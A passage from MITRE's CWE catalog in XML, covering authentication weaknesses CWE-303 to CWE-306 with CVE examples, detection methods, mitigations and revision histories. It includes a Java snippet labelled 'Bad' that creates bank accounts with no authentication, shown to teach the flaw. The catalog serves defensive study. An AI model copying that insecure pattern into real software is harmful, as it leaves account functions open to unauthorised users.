               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="303" Name="Incorrect Implementation of Authentication Algorithm" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.</Description>
         <Extended_Description>This incorrect implementation may allow authentication to be bypassed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0750</Reference>
               <Description>Conditional should have been an 'or' not an 'and'.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0750</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication Logic Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="90"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Authentication Logic Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Improper Implementation of Authentication Algorithm</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="304" Name="Missing Critical Step in Authentication" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product implements an authentication technique, but it skips a step that weakens the technique.</Description>
         <Extended_Description>Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="303" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-2163</Reference>
               <Description>Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2163</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Critical Step in Authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="305" Name="Authentication Bypass by Primary Weakness" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1374</Reference>
               <Description>The provided password is only compared against the first character of the real password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0979</Reference>
               <Description>The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0979</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0088</Reference>
               <Description>Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0088</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication Bypass by Primary Weakness</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Most "authentication bypass" errors are resultant, not primary.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="306" Name="Missing Authentication for Critical Function" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.</Description>
	 <Extended_Description>
	   <xhtml:p>As data is migrated to the cloud, if access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Cloud Computing" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Other</Impact>
               <Note>Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-7.2">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.</xhtml:p>
               </Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-6.1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.</xhtml:p>
                  <xhtml:p>Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.</xhtml:p>
                  <xhtml:p>Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.</xhtml:p>
                  <xhtml:p>In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.</xhtml:p>
                  <xhtml:p>In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.5">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].</xhtml:p>
               </Description>
            </Mitigation>
	    <Mitigation>
	     <Phase>Implementation</Phase>
	     <Phase>System Configuration</Phase>
	     <Phase>Operation</Phase>
	      <Description>When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].</Description>
	    </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public BankAccount createBankAccount(String accountNumber, String accountType,<xhtml:br/>String accountName, String accountSSN, double balance) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>BankAccount account = new BankAccount();<xhtml:br/>account.setAccountNumber(accountNumber);<xhtml:br/>account.setAccountType(accountType);<xhtml:br/>account.setAccountOwnerName(accountName);<xhtml:br/>account.setAccountOwnerSSN(accountSSN);<xhtml:br/>account.setBalance(balance);<xhtml:br/>
                           <xhtml:br/>return account;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.</Body_Text>
               <Body_Text>The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>private boolean isUserAuthentic = false;<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// authenticate user,</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// if user is authenticated then set variable to true</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// otherwise set variable to false</xhtml:i>
                     <xhtml:br/>public boolean authenticateUser(String username, String password) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public BankAccount createNewBankAccount(String accountNumber, String accountType,<xhtml:br/>String accountName, String accountSSN, double balance) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BankAccount account = null;<xhtml:br/>
                           <xhtml:br/>if (isUserAuthentic) {<xhtml:div style="margin-left:1em;">account = new BankAccount();<xhtml:br/>account.setAccountNumber(accountNumber);<xhtml:br/>account.setAccountType(accountType);<xhtml:br/>account.setAccountOwnerName(accountName);<xhtml:br/>account.setAccountOwnerSSN(accountSSN);<xhtml:br/>account.setBalance(balance);</xhtml:div>}<xhtml:br/>return account;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
